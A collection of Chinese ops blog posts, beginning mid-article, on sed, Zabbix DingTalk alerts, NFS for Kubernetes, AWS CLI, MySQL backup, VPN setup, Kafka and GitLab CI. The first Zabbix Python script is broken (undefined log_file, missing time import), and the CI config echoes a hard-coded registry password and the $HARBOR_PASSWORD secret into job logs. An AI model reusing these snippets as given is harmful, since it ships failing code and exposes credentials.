\+ # 匹配1次或多次他前面的字符，如：空格\+ 或 “\+“匹配至少一个或多个空格
| #管道符号用来匹配两边任意一个子表达式，如：'/101\|102/p' 匹配包含101或者102的行打印
[] # 匹配一个指定范围内的字符，如/[sS]ed/匹配sed和Sed。  
[^] # 匹配一个不在指定范围内的字符，如：/[^A-RT-Z]ed/匹配不包含A-R和T-Z的一个字母开头，紧跟ed的行。
\(..\) # 匹配子串，保存匹配的字符，如s/\(love\)able/\1rs，loveable被替换成lovers。
& # 保存搜索字符用来替换其他字符，如s/love/ **&** /，love这成 **love** 。
\< # 匹配单词的开始，如:/\<love/匹配包含以love开头的单词的行。
\> # 匹配单词的结束，如/love\>/匹配包含以love结尾的单词的行。
\{m\} # 重复字符x，m次，如：/0\{5\}/匹配包含5个0的行。
\{m,\} # 重复字符x，至少m次，如：/0\{5,\}/匹配至少有5个0的行。
\{m,n\} # 重复字符x，至少m次，不多于n次，如：/0\{5,10\}/匹配5~10个0的行。

例子很多:

用户名，后面跟1个或者多个空格，再跟密码；更换成用户名密码 MAC地址

sed -i "s/${username} \+${password}$/${username} ${password} ${IV_HWADDR}/" ${PASSFILE}

跟 shell 脚本的参数一起记比较好：

$0 脚本本身的名字
$1 传递给该shell脚本的第1个参数
$2 传递给该shell脚本的第2个参数
$@ 传给脚本的所有参数的列表
$# 传给脚本的参数个数
$* 以一个单字符串显示所有向脚本传递的参数，与位置变量不同，>参数可超过9个
$$ 脚本运行的当前进程ID号
$? 命令执行结果反馈，0表示执行成功，其余数字表示执行不成功。

还有一个重要的地方，sed 使用 -i 对文件进行修改时，执行者需要有对文件目录的写权限，因为sed实际是产生了一个临时文件，然后再挪回去得！！！！

Zabbix下发往钉钉告警

Wed, 30 Nov 2022 09:30:11 +0800

zabbix 是很熟悉的东西，但是实际上博主已经跳过了这个东西，直接蹦到 Prometheus 去了

但是，存在即合理，当下公司用的是这个，那么用就用吧，zabbix发到钉钉告警。

那么我们也研究一下如何发到钉钉告警，而且好看一些

原理：

原理就是用 post 向钉钉机器人的 webhook 地址提交 Markdown 的 json 信息

首先我们要建立个钉钉群，然后在群中添加一个群机器人，这里就会有两个选择，一个是这个机器人只接受特定的词语，二是向机器人发送消息的机器的ip是固定的。

阿里云建议的是关键词：云监控、云服务、监控、Monitor、ECS、报警

当然，这里更加建议IP，IP是死的，报警里带关键词意味着发送内容被部分固定了。

如上，我们会得到一个钉钉机器人的Webhook地址：

https://oapi.dingtalk.com/robot/send?access_token=xxxxxxxxxx

然后我们要准备一个发送的脚本，python很合适

#!/usr/bin/env python
#coding:utf-8
 
#zabbix钉钉报警
import requests,json,sys,os,datetime
#说明：这里改为自己创建的机器人的webhook
webhook="https://oapi.dingtalk.com/robot/send?access_token=xxxxxx"     

def log(info):
    if os.path.isfile("/tmp/dingding.log") == False:
        f = open(log_file, 'a+')
    else:
        f = open(log_file,'w+')
    f.write(info)
    f.close()

def msg(text,user):
    json_text= {
      "msgtype": "markdown",
      "markdown": {
         "title": "zabbix monitor",
         "text": text
      },
      "at": {
         "atMobiles": [
             user
             ],
         "isAtAll": False
      }
    }
    
    headers = {'Content-Type': 'application/json'}
    r=requests.post(url=webhook,data=json.dumps(json_text),headers=headers).json()
    code = r["errcode"]
    time=time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
    if code == 0:
        log(time + ":消息发送成功 返回码:" + str(code) + "\n")
    else:
        log(time + ":消息发送失败 返回码:" + str(code) + "\n")
        exit(3)

if __name__ == '__main__':
    user = sys.argv[1] #用户
    subject = sys.argv[2] #标题
    text = sys.argv[3] #消息
    msg(text,user)

我们把上面的文件内容放到 /usr/lib/zabbix/alertscripts 目录下，名字就叫做 dingding.py ，只能是这个目录，因为这是 zabbix 缺省外挂脚本文件的目录。

kubernetes使用nfs做持久化卷存储

Thu, 24 Nov 2022 09:30:11 +0800

用NFS来做kubernetes的持久化卷虽然不是最佳实践，但存在即合理。在现在的公司就是这么用的，记录一下，可用但不是最佳。

一、搭建NFS服务端和所有工作节点安装客户端

#NFS服务端 (centos7)
yum install nfs-utils rpcbind -y

mkdir -p /data/nfs/{download,bakup,www}
echo "/data/nfs 10.10.0.0/16(rw,all_squash,insecure,sync)" >> /etc/exports
exportfs -r

systemctl enable rpcbind nfs-server
systemctl restart rpcbind nfs-server

showmount -e localhost

#客户端根本不装也可以，客户端不需要启动任何nfs服务
#只是为了使用showmount工具来验证

#NFS客户端（CentOS，所有WorkNode节点都需要执行）
yum install -y nfs-utils

#NFS客户端（Ubuntu，所有WorkNode节点都需要执行）
apt install -y nfs-common

NFS 服务端的参数如下：

rw 能读能写
insecure NFS通过1024以上的端口发送
root_squash root会被变成noboby，其他人不变
no_root_squash root身份保持不变，其他人不变。（不能用这个，容易被黑）
all_squash 不论登入NFS的使用者身份为何，他的身份都会被压缩成为匿名使用者，通常也就是nobody
sync 数据直接落盘，性能略损。
async 数据先落内存，然后落盘，性能略升。

综上，保险的参数就是

/data/nfs 10.10.0.0/16(rw,insecure,all_squash,sync)

注意：修改了/etc/exports后，并不需要重启nfs服务，只要用exportfs重新扫描一次/etc/exports，并且重新加载即可

exports -rv

二、POD内直接使用

由于nfs是内核自带的东西，所以最简单的使用方法就是直接在pod内使用

apiVersion: v1
kind: Pod
metadata:
  name: test
  labels:
    app.kubernetes.io/name: alpine
spec:
  containers:
    - name: alpine
      image: alpine:latest
      command:
        - touch
        - /data/test
      volumeMounts:
        - name: nfs-volume
          mountPath: /data
  volumes:
    - name: nfs-volume
      nfs:
        server: 10.10.247.38
        path: /data
        readOnly: no

这个pod是一次性运行的，运行完后就可以看到nfs中多了个test文件

钉钉告警发送

Wed, 23 Nov 2022 11:30:11 +0800

#!/usr/bin/env python
#coding:utf-8

#zabbix钉钉报警
import requests
import json
import sys
import os
import datetime

#这里是自己创建的机器人的webhook
webhook="https://oapi.dingtalk.com/robot/send?access_token=xxxxxx"      

user=sys.argv[1]
text=sys.argv[3]
data={
    "msgtype": "text",
    "text": {
        "content": text
    },
    "at": {
        "atMobiles": [
            user
        ],
        "isAtAll": False
    }
}
headers = {'Content-Type': 'application/json'}
x=requests.post(url=webhook,data=json.dumps(data),headers=headers)

下面放shell脚本的

#!/bin/bash
 
function ddmsg() {
    Token="xxxxxxxxxxxx"
    Weburl="https://oapi.dingtalk.com/robot/send?access_token="
    curl -ks -m 2 "${Weburl}${Token}" \
        -H 'Content-Type: application/json;charset=utf-8' \
        -d "{'msgtype': 'text', 
             'text': { 'content': '$*'}
        }" &>/tmp/ddmsg.log
    if [ `grep "errmsg.*ok" /tmp/ddmsg.log |wc -l` -ne 1 ]; then
        echo 'send error !';cat /tmp/ddmsg.log;exit 1;
    fi
}

#测试内容
echo "@警报
主机:$(hostname)
信息:Node test
时间:$(date +"%F %T")
">.msg

cat .msg
ddmsg "`cat .msg`"

Freelancer之aws

Wed, 23 Nov 2022 10:30:11 +0800

客户发了一个需求如下：

用shell 或者python3 控制aws去获取新IP、绑定IP到实例

这个就非常简单了，因为本身aws就提供python的工具，一切都可以api化的

做法如下：

#安装aws的工具
cd /tmp 
curl -kL "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip
sudo ./aws/install
aws --version
 
#配置aws key
aws configure
 
#查看配置
aws configure list

----------------------------

#申请一个新IP并且打tag
aws ec2 allocate-address --region $Region |tee /tmp/eip.log
eip_id=$(jq -r ".AllocationId" /tmp/eip.log)
aws ec2 create-tags --resources ${eip_id} --tags Key=Name,Value=eip-01

eip=$(jq -r ".PublicIp" /tmp/eip.log)

#给ec2赋ip，前提是知道ec2_id
aws ec2 associate-address --instance-id ${ec2_id} --allocation-id ${eip_id}


----------------------------

#启动新ec2的方法：
#启动ec2
aws ec2 run-instances \
--region $Region --count 1 \
--instance-type t2.micro \
--subnet-id ${lan_a_public_id} \
--security-group-ids $gid \
--key-name MySshKey \
--image-id ami-04ff9e9b51c1f62ca  \
 |tee /tmp/ec2.log
 
ec2_id=$(jq -r ".Instances[0].InstanceId" /tmp/ec2.log)

参考：

https://www.cnblogs.com/elvi/p/16542406.html

Freelancer之QRCode

Wed, 23 Nov 2022 09:30:11 +0800

客户发了一个需求如下：

TODO: 在sortFiles中，获取最新的域名，生成二维码，覆盖QRCodePath图片
TODO:将QRCodePath图片上传到阿里云0S根目录，重复则覆盖

又具体询问了一下细节，是一个 csharp 的程序

var sortFiles = Directory.GetFiles(zipPath, "*.zip").Select(fn => new FileInfo(fn)).OrderBy(f => f.LastAccessTime);

// TODO: 在sortFiles中，获取最新的域名（文件名去掉.zip就是域名），结合logoUrl生成二维码，覆盖QRCodePath图片


// TODO: 将QRCodePath图片上传到阿里云OOS根目录，重复则覆盖，

看了一下，觉得思路如下，这是个管道流，无论徒手写代码生成QRCODE(还有个logo图需要放到二维码中央)，还是集成OSS的SDK都麻烦

最快速方法是直接调用外部成程序做这两步，第一步用Go写个程序生成二维码，第二步用阿里的ossutil64工具上传

一、Go程序Gen出QRCode

go 有很多库，我们直接拿来用好了，但是基本上都是老代码，所以需要下载 go1.13.15 来用

# 下载go 1.13.15，解压到E:\go，并建立一个E:\go\go-work目录，下载的模块会放到这里
https://dl.google.com/go/go1.13.15.windows-amd64.zip

# 设置三个变量
GOROOT=E:\go
GOPATH=E:\go\go-work
PATH中增加好E:\go\bin的目录

# 设置一下代理，有时候模块拉不下来
go env -w GOPROXY=https://goproxy.cn,direct

然后就准备gen qrcode的程序，main.go

package main

import (
	"flag"
	"image"
	"image/draw"
	"image/jpeg"
	_ "image/png"
	"os"
	"path/filepath"

	"github.com/LyricTian/logger"
	"github.com/nfnt/resize"
	"github.com/skip2/go-qrcode"
)

var (
	text    string
	logo    string
	percent int
	size    int
	out     string
)

func init() {
	flag.StringVar(&text, "t", "", "二维码内容")
	flag.StringVar(&logo, "l", "", "二维码Logo(png)")
	flag.IntVar(&percent, "p", 15, "二维码Logo的显示比例(默认15%)")
	flag.IntVar(&size, "s", 256, "二维码的大小(默认256)")
	flag.StringVar(&out, "o", "", "输出文件")
}

func main() {
	flag.Parse()

	if text == "" {
		logger.Fatalf("请指定二维码的生成内容")
	}

	if out == "" {
		logger.Fatalf("请指定输出文件")
	}

	if exists, err := checkFile(out); err != nil {
		logger.Fatalf("检查输出文件发生错误：%s", err.Error())
	} else if exists {
		logger.Fatalf("输出文件已经存在，请重新指定")
	}

	code, err := qrcode.New(text, qrcode.Highest)
	if err != nil {
		logger.Fatalf("创建二维码发生错误：%s", err.Error())
	}

	srcImage := code.Image(size)
	if logo != "" {
		logoSize := float64(size) * float64(percent) / 100

		srcImage, err = addLogo(srcImage, logo, int(logoSize))
		if err != nil {
			logger.Fatalf("增加Logo发生错误：%s", err.Error())
		}
	}

	outAbs, err := filepath.Abs(out)
	if err != nil {
		logger.Fatalf("获取输出文件绝对路径发生错误：%s", err.Error())
	}

	os.MkdirAll(filepath.Dir(outAbs), 0777)
	outFile, err := os.Create(outAbs)
	if err != nil {
		logger.Fatalf("创建输出文件发生错误：%s", err.Error())
	}
	defer outFile.Close()

	jpeg.Encode(outFile, srcImage, &jpeg.Options{Quality: 100})

	logger.Infof("二维码生成成功，文件路径：%s", outAbs)
}

func checkFile(name string) (bool, error) {
	_, err := os.Stat(name)
	if err != nil {
		if os.IsNotExist(err) {
			return false, nil
		}
		return false, err
	}
	return true, nil
}

func resizeLogo(logo string, size uint) (image.Image, error) {
	file, err := os.Open(logo)
	if err != nil {
		return nil, err
	}
	defer file.Close()

	img, _, err := image.Decode(file)
	if err != nil {
		return nil, err
	}

	img = resize.Resize(size, size, img, resize.Lanczos3)
	return img, nil
}

func addLogo(srcImage image.Image, logo string, size int) (image.Image, error) {
	logoImage, err := resizeLogo(logo, uint(size))
	if err != nil {
		return nil, err
	}

	offset := image.Pt((srcImage.Bounds().Dx()-logoImage.Bounds().Dx())/2, (srcImage.Bounds().Dy()-logoImage.Bounds().Dy())/2)
	b := srcImage.Bounds()
	m := image.NewNRGBA(b)
	draw.Draw(m, b, srcImage, image.ZP, draw.Src)
	draw.Draw(m, logoImage.Bounds().Add(offset), logoImage, image.ZP, draw.Over)

	return m, nil
}

上面很简单，用到了别人的三个模块，需要安装一下

MySQL数据库的备份和恢复之二

Tue, 22 Nov 2022 09:30:11 +0800

我们来说恢复的第二种情况，就是需要从binlog中指定位置恢复

binlog如何设置不说了，我们假设上次用mysqldump做过一次全量备份。

mysqldump -uroot -p  -h 192.168.1.35 -P3306 --opt --triggers -R --hex-blob  --single-transaction --flush-logs --master-data=2 -B 库名  > 库名.sql

由于我们在备份中使用了参数–flush-logs –master-data=2，所以 库名.sql 中会有binglog的信息供我们使用。

一、用mysqlbinlog来恢复

我们首先要查到随后的binlog文件是那个，从那时候起又生成多少个binglog文件。

然后去库里查询：

show master logs;
show master status;

我们要分析一下SQL

# show binlog events [IN 'log_name'] [FROM pos] [LIMIT [offset,] row_count];

show binlog events in 'javaboy_logbin.000002' limit 5,10;

我们来翻看日志：

可以看到是从 764–>865 ，发生了删除，那么回放到这个764这个position前即可，764不会执行

mysqlbinlog /var/lib/mysql/mysql-bin.000204 --stop-position=764 --database=bbb | mysql -uroot -p

–start-position指定从哪里开始恢复，如果不指定，就会从binlog文件开头的position开始

mysqlbinlog /var/lib/mysql/mysql-bin.000204 --start-position=205 --stop-position=764 --database=bbb | mysql -uroot -p

二、用binglog2sql来恢复

binlog2sql 是大众点评公司的DBA 开发的一款基于通过解析binlog将delete 恢复为insert,update 的值 set 字段和where条件做对调的原理来恢复数据的。使用限制 MySQL的binlog format 必须是row 安装

MySQL数据库的备份和恢复之一

Mon, 21 Nov 2022 09:30:11 +0800

喜大普奔，干了一个月的MySQL DBA的工作，又学到了一部分知识。

记录一下，以备不时只需

mysqldump 的备份其实很麻烦，要考虑很多因素

备份时候不能锁表
恢复的时候要快
有二进制数据的话需要备份二进制数据
有触发器、存储过程的都备份
通常 mysqldump 是做每天的fullbackup，要为之后的 binlog 做好准备，万一要恢复要提前做好准备

我们一点一点来说：

一、备份时不能锁表

--single-transaction
通过将导出操作封装在一个事务内来使得导出的数据是一个一致性快照
该选项在导出数据之前提交一个BEGIN SQL语句，BEGIN不会阻塞任何应用程序且能保证导出时数据库的一致性状态。
它只适用于InnoDB存储引擎。
本选项和--lock-tables选项是互斥的，因为LOCK TABLES会使任何挂起的事务隐含提交。

二、恢复时要尽量快

--opt
等同于--add-drop-table,  --add-locks, --create-options, --quick, --extended-insert, --lock-tables,  --set-charset, --disable-keys 该选项默认开启,  可以用--skip-opt禁用.

--extended-insert,  -e
--extended-insert=false
使用具有多个VALUES列的INSERT语法。这样使导出文件更小，并加速导入时的速度。
默认为打开状态，使用--skip-extended-insert取消选项。

三、有二进制的按二进制备份

--hex-blob
使用十六进制格式导出二进制字符串字段。如果有二进制数据就必须使用该选项。影响到的字段类型有BINARY、VARBINARY、BLOB。

四、有触发器、存储过程的都备份

--triggers
导出触发器。该选项默认启用，用--skip-triggers禁用它。
--routines, -R
导出存储过程以及自定义函数

五、为之后如果要做binlog恢复提前做好准备

--flush-logs
开始导出之前刷新binlog日志。
请注意：假如一次导出多个数据库(使用选项--databases或者--all-databases)，将会逐个数据库刷新日志。
除非使用--lock-all-tables或者--master-data外。在这种情况下，日志将会被刷新一次，相应的所以表同时被锁定。
因此，如果打算同时导出和刷新日志应该使用--lock-all-tables 或者--master-data 和--flush-logs

--master-data
在导出的时候同时生成binlog文件名和位置在导出的文件开头。
这个非常重要。binlog 的文件和位置可以从这里拿到。
例如：
-- CHANGE MASTER TO MASTER_LOG_FILE='binlog.000001', MASTER_LOG_POS=157;

该选项将binlog的位置和文件名追加到输出文件中。
如果为1，将会输出CHANGE MASTER 命令；
如果为2，输出的CHANGE  MASTER命令前添加注释信息。
该选项将打开--lock-all-tables 选项，除非--single-transaction也被指定（在这种情况下，全局读锁在开始导出时获得很短的时间；其他内容参考下面的--single-transaction选项）。
该选项自动关闭--lock-tables选项。
mysqldump  -uroot -p --host=localhost --all-databases --master-data=1;
mysqldump  -uroot -p --host=localhost --all-databases --master-data=2;

那么综上所述，总结一行非常使用的备份语句：

OpenVPN客户端定制IP和路由

Sat, 19 Nov 2022 09:30:11 +0800

公司用的 OpenVPN ，研发部门和普通员工的权限不一样，技术部门需要访问服务器，普通员工则不需要

这样的话就需要根据用户定制路由了，技术部门推送特定的路由，普通员工不推送。

那么做法如下，在 server.conf 做如下设定：

ifconfig-pool-persist /etc/openvpn/conf/ipp.txt
client-config-dir /etc/openvpn/conf/static

第一行是指定记录 ip 地址的文件，作用是如果服务器进程重启了，重启后会读取这个文件，客户端重新拨号后获得的 IP 就不会变，还是重启前的 IP。

第二行是指定了客户端的单独配置

我们假设一个用户是 zhangranrui，那么就去 /etc/openvpn/conf/static 下建立一个 zhangranrui 的文本文件，内容如下：

# 前面是客户端固定IP地址，后面是网关地址
ifconfig-push 172.18.0.10 172.18.0.9

# 推送路由，后面是掩码
push "route 10.10.0.0 255.255.0.0"

# 重定向客户端的所有流量，否则访问服务端内网要像上面一样推送路由
# push "redirect-gateway def1"

# 推送给客户端的DNS解析地址
# push "dhcp-option DNS 223.5.5.5"
# push "dhcp-option DNS 114.114.114.114"

上面我们固定了IP，也推送了特定路由，那么怎么知道一个客户的 ip 呢，去看 ipp 文件：

cat /etc/openvpn/conf/ipp.txt
zhangranrui,172.18.0.8

注意，上面文件里的 172.18.0.8 不是 ip ，是网段地址

172.18.0.9 是网关地址，172.18.0.10才是真正的 IP 地址，所以不要搞错了

英语的符号表达

Thu, 17 Nov 2022 09:30:11 +0800

面试 infosys 的时候是一个印度老哥做考官，他问我的问题我是一句都听不懂的，确实是听不懂。

然后他把问题在 webex 中打出来我回答的。

其中有一个问题是：如何用CLI查出系统中内存占用最高的5个进程

ps aux --sort=-%mem | head -n 5

上面一句如何用英语表达出来呢，不好说啊

所以记录一下，以备将来不时之需

． period 句号
， comma 逗号
： colon 冒号
； semicolon 分号
！ exclamation 惊叹号
？ question 问号
-  hyphen 连字符
* asterisk 星号
' apostrophe 所有格符号，单词内部的省略
— dash 破折号
_ underscore
‘ ’ single quotation marks 单引号
“ ” double quotation marks 双引号
( ) round brackets 圆括号
[ ] square brackets 方括号
<> Angle brackets 尖括号
{} curly brackets or braces 大括号
《 》French quotes 法文引号；书名号
... ellipsis 省略号
¨ tandem colon 双点号
" ditto 同上
‖ parallel 双线号
／ slash 斜线号
＆ ampersand = and
～ tilde 波浪号
§ section; division 分节号
→ arrow 箭号；参见号
| vertical bar 竖线
backslash 反斜线
% percent 百分号

阿里云IPSec与锐捷路由器得连接

Tue, 15 Nov 2022 09:30:11 +0800

现在也开始搞起桌面运维了，其实还感觉蛮有意思的。

公司的主路由器是锐捷的NBR6205-E，作为IPSec的服务端，而阿里云作为客户端。

首先先普及一下IPSec的知识，IPSec目前只支持IPv4单播：

密钥安全有 IKE 负责；数据安全方面，有 IPSec 负责。

但是IKE也是 IPSec 的一部分，不能独立存在。存在两个SA分别为

ISAKMP Security Association（IKE SA）
IPsec Security Association（IPsec SA）

在这里注意一点就是IKE SA=ISAKMP SA

IKE SA的 lifetime 默认为 86400 秒，即一天，默认没有volume limit。

用户的数据流量真正是在 IPsec SA 上传递的，而不是在IKE SA；

IPsec SA直接为用户数据流服务，IPsec SA中的所有安全策略都是为了用户数据流的安全。

IPsec SA的 lifetime 默认为3600 秒，即1小时；默认volume limit为4608000 Kbytes，即4.608 Gbyte。

因为SA有两个，分为IKE SA和IPsec SA，两个SA分别定义了如何保护密钥以及如何保护数据，其实这两个SA都是由IKE建立起来的，所以将IKE的整个运行过程分成了两个Phase（阶段），即：

IKE Phase Two
IKE Phase One

一、IKE Phase One第一阶段

IKE Phase One的主要工作就是建立IKE SA（ISAKMP SA），IKE SA的服务对象并不是用户数据，而是密钥流量，以及为IPsec SA服务的；IKE SA的协商阶段被称为main mode（主模式）还有 aggressive 野蛮模式，IKE也是需要保护自己的流量安全的（这些流量并非用户流量），所以IKE SA之间也需要协商出一整套安全策略，否则后续的密钥和IPsec SA的建立就不能得到安全保证；

L2TP VPN在CentOS7系统下的搭建

Sun, 13 Nov 2022 10:30:11 +0800

这是个很奇怪的事情，应聘了一家搞 CDN 的公司，结果上去看了一下根本不对路。就立刻辞了，但是发现它给员工开的 L2TP VPN 确实非常好用。

于是就自己也搭一个，方便自用。下面记录一下安装过程，环境是CentOS 7

一、装L2TP

# yum install epel-release
# yum install xl2tpd libreswan

二、修改核心参数

# vi /etc/sysctl.conf

vm.swappiness = 0
net.ipv4.neigh.default.gc_stale_time=120
net.ipv4.conf.all.rp_filter=0
net.ipv4.conf.default.rp_filter=0
net.ipv4.conf.default.arp_announce = 2
net.ipv4.conf.all.arp_announce=2
net.ipv4.tcp_max_tw_buckets = 5000
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_max_syn_backlog = 1024
net.ipv4.tcp_synack_retries = 2
net.ipv4.conf.lo.arp_announce=2
net.ipv4.ip_forward = 1
net.ipv4.conf.default.accept_redirects = 0
net.ipv4.conf.default.send_redirects = 0
net.ipv4.conf.default.accept_source_route = 0

# sysctl -p

三、配置 IPSEC

# vi /etc/ipsec.d/l2tp_psk.conf

conn L2TP-PSK-NAT
     rightsubnet=vhost:%priv
     also=L2TP-PSK-noNAT
conn L2TP-PSK-noNAT
     authby=secret
     pfs=no
     auto=add
     keyingtries=3
     dpddelay=30
     dpdtimeout=120
     dpdaction=clear
     rekey=no
     ikelifetime=8h
     keylife=1h
     type=transport
     left=192.168.10.232
     leftprotoport=17/1701
     right=%any
     rightprotoport=17/%any

注意上面的 left=192.168.10.232，这是服务器的ip地址，要更换为自己服务器的地址（如果在防火墙后，写内网地址，非映射后的公网IP）

Kafka的安装和验证

Sun, 13 Nov 2022 09:30:11 +0800

生产环境要用到kafka，记录一下安装过程，其实最重要的不是安装，而是使用。

时间节点是2022年7月10日，zookeeper的版本是3.4.14：

wget https://mirrors.cnnic.cn/apache/zookeeper/stable/zookeeper-3.4.14.tar.gz

kafka的版本是3.2，注意前面的2.13是scala的版本

wget http://archive.apache.org/dist/kafka/3.2.0/kafka_2.13-3.2.0.tgz

软件都下载好以后，找三台服务器，软件都放到 /usr/local 路径下：

服务器的ip是：

172.18.31.50
172.18.31.51
172.18.31.52

移动软件：

tar zxvf zookeeper-3.4.14.tar.gz
mv apache-zookeeper-3.6.3-bin /usr/local

tar zxvf kafka_2.13-3.2.0.tgz
mv kafka_2.13-3.2.0 /usr/local

然后得装 java 了，centos 版本

yum -y install epel-release
yum -y install java-11-openjdk-devel

首先去编辑zookeeper的配置文件，然后启动

cp /usr/local/apache-zookeeper-3.6.3-bin/conf/zoo_sample.cfg /usr/local/apache-zookeeper-3.6.3-bin/conf/zoo.cfg

编辑zoo.cfg，增加几行

dataDir=/data/zookeeper

metricsProvider.className=org.apache.zookeeper.metrics.prometheus.PrometheusMetricsProvider
metricsProvider.httpPort=7000
metricsProvider.exportJvmInfo=true

server.0=172.18.31.50:20881:30881
server.1=172.18.31.51:20881:30881
server.2=172.18.31.52:20881:30881

注意上面，我们的数据目录是在/data/zookeeper，所以要先建立好目录结构

然后有三台服务器么，把各自的id放到文件中，然后20881是三台服务器之间的通讯端口，30881是选举端口

mkdir /data/zookeeper -p
echo 0 >/data/zookeeper/myid

三台服务器分别启动

/usr/local/apache-zookeeper-3.6.3-bin/bin/zkServer.sh start

验证一下

/usr/local/apache-zookeeper-3.6.3-bin/bin/zkCli.sh

[zk: localhost:2181(CONNECTED) 1] ls /
[admin, brokers, cluster, config, consumers, controller, controller_epoch, feature, isr_change_notification, latest_producer_id_block, log_dir_event_notification, zookeeper]

看看 / 下有东西就行了，上面是已经装好了 kafka 和 cruisecontrol的情形，东西就比较多了

Python下Django环境的准备

Thu, 27 Oct 2022 10:30:11 +0800

其实本身自己是比较喜欢 javascripts 的，但是 Python 也是必须掌握的一项技能。

干 devops ansible 跟 python 也脱不了干系，所以准备用 django 开发一个自动上线的系统。

先准备一下 Python 以及 Django 的环境好了。

一、准备 Python

秘籍，不要用什么 venv 之类的东西，污染环境。直接下载源代码编译安装，然后把 py 封到自己的密闭是王道，最后引用一下 $PATH ，想用哪个就用哪个。

注意以下的步骤，先装 gcc 的编译环境，然后装 openssl 的高版本，并且配置好 ldconfig，否则 py 的 ssl 会报错。

最后下载 python 3.8.15 编译安装，生产环境，最好采用最新版本往后错两个版本。

编译安装到 /export/servers/python3目录

yum -y install zlib-devel bzip2-devel openssl-devel ncurses-devel sqlite-devel readline-devel tk-devel gcc make libffi-devel

wget https://www.openssl.org/source/openssl-1.1.1q.tar.gz
./config --prefix=/export/servers/openssl

vi /etc/ld.so.conf
/export/servers/openssl/lib
ldconfig -v

wget https://www.python.org/ftp/python/3.8.15/Python-3.8.15.tgz
./configure --prefix=/export/servers/python3 --with-openssl=/export/servers/openssl --with-ssl-default-suites=openssl

最后一步：

Gitlab的CICD实际生产环境应用

Tue, 25 Oct 2022 10:30:11 +0800

Gitlab 和 Jenkins 一样，都是很流行的 CI/CD 工具，当然，本站之前推过国人自产的东西 onedev，那个也相当不错，但是用的人毕竟还是少，这回还是用大家都耳熟能详的东西。

本篇就是 Giblab 在生产环境打包发布的一个全流程。

解释一下上图：

首先有两套Git，一套是程序员的Code仓库，另一套是运维的操作代码，里面是一些yaml啊，一些ansible脚本啊

然后流程就是先取出程序员的Code，build出来jar，然后打成镜像推到仓库，然后再取出运维的代码，进行合并，生成k8s的yaml文件，最后推到 kubernetes 中去，这样整个 GitOPS 的流程就完备了

在 gitlab 中非常简单，就是编辑 .gitlab-ci.yaml 文件

image: docker:19.03.12
variables:
  DOCKER_DRIVER: overlay2
  DOCKER_TLS_CERTDIR: ""
  MAVEN_OPTS: "-Dmaven.repo.local=.m2/repository"
  TIMEZONE: "Asia/Shanghai"
  http_proxy: ""
  https_proxy: ""
  no_proxy: ""

cache:
  paths:
    - .m2/repository/
    - target/

stages:
  - build
  - push
  - deploy


Build:
  stage: build
  image: maven:3.5-jdk-8-alpine
  before_script:
    - export COMMIT_TIME=$(TZ=CST-8 date +%F-%H-%M)
    - echo $COMMIT_TIME
    - echo "COMMIT_TIME=$COMMIT_TIME" >> build.env
  script:
    - ./mvnw package
  artifacts:
    reports:
      dotenv: build.env
  tags:
    - yunwei

Push:
  stage: push
  before_script:
    - docker info || true
    - echo "$HARBOR_REGISTRY $HARBOR_USERNAME $HARBOR_PASSWORD"
    - echo "echo Dingfangwen | docker login 172.18.31.28 -u dingfangwen --password-stdin"
    - echo -n $HARBOR_PASSWORD | docker login $HARBOR_REGISTRY -u $HARBOR_USERNAME --password-stdin
  script:
    - docker pull $HARBOR_REGISTRY_IMAGE:latest || true
    - >
      docker build
      --cache-from $HARBOR_REGISTRY_IMAGE:latest
      --build-arg http_proxy=$http_proxy
      --build-arg https_proxy=$https_proxy
      --build-arg no_proxy=$no_proxy
      --cache-from HARBOR_REGISTRY_IMAGE:latest
      --tag $HARBOR_REGISTRY_IMAGE:$COMMIT_TIME
      --tag $HARBOR_REGISTRY_IMAGE:latest
      .
    - docker push $HARBOR_REGISTRY_IMAGE:$COMMIT_TIME
    - docker push $HARBOR_REGISTRY_IMAGE:latest
    - docker logout $HARBOR_REGISTRY
  dependencies:
    - Build
  tags:
    - yunwei

Deploy:
  stage: deploy
  cache: {}
  image: cnych/kustomize:v1.0
  script:
    - echo $COMMIT_TIME
    - git config --global user.email "gitlab@git.k8s.local"
    - git config --global user.name "GitLab CI/CD"
    - git clone git://172.18.31.50:30000/test-k8s.git
    - cd test-k8s/prod
    - kustomize edit set image $HARBOR_REGISTRY_IMAGE:$COMMIT_TIME
    - cat kustomization.yaml
    - git commit -am 'PROD image update'
    - git push origin master
  dependencies:
    - Build
  tags:
    - yunwei
  only:
    - master
  when: manual

先不着急看这个文件，再普及一下 gitlab 的运行机制，它是通过 gitlab-runner 来执行cd的过程的。配置gitlab runner其实也是一项非常复杂的工作，里面可以配的东西太多了，不是本篇的范畴。我们这里简单来说，runner就是一个Docker容器。更准确的说，就是Docker in Docker。

sed的进阶用法

Mon, 24 Oct 2022 10:30:11 +0800

sed 和 awk 以及 cut 算是常用工具了，sed的高级用法也需要知道一下

sed 里面有2个空间，一个是pattern space，一个是hold space，默认都是空的

开始处理的时候，就从文件里一行一行读入 pattern space ，进行处理，hold space 只在你需要用到它的时候才会出现：

d ： 清空pattern space中的内容，立即开始下个循环(意思是跳过默认的输出pattern space内容的阶段？？？不知理解的对不对)
h ： 用pattern space中的内容替换hold pattern中的内容
H ： 在hold space中的内容后面追加一个换行，把pattern space中的内容追加到hold space中
g ： 用hold space中的内容替换pattern space中的内容
G ： 在pattern space中的内容后面追加一个换行，把hold space中的内容追加到pattern space中

h, g会替换（可以理解为先清空，再复制）, H, G是追加。

hH是放过去，gG是拿过来，小写是替换，大写是追加

分析一下经典的将文件内容反向打印

cat 1.txt
1
2
3

cat 1.txt | sed -n '1!G;h;$p'
3
2
1

‘1!G;h;$p’ 分析一下，1!G就是说第一行不执行G，从第二行开始执行G；然后h是每行都执行，最后一行的时候执行p

input | pattern |  hold   | command | pattern | hold | command | pattern | hold
1     | 1       |  空行    |         | 1       | 空行 |  h      | 1       | 1
2     | 2       |  1      | G       | 21      | 1    |  h      | 21      | 21
3     | 3       |  21     | G       | 321     | 21   |  h      | 321     | 321

iptables的基本用法

Mon, 24 Oct 2022 09:30:11 +0800

面试的时候经常会被问到 iptables 的问题，那么下面就运维角度来总结一下基本的用法。

看晕了吧，不要紧，我们关注上面的5个红色，5个链条，然后继续看下面的表，详细解释了上面的流程：

两张图结合起来看，意思就是整个 iptables 可以动手的地方太多了。

我们完全没必要关注那么多的细节，常用的地方就2个：

一、最后的出口nat postrouting

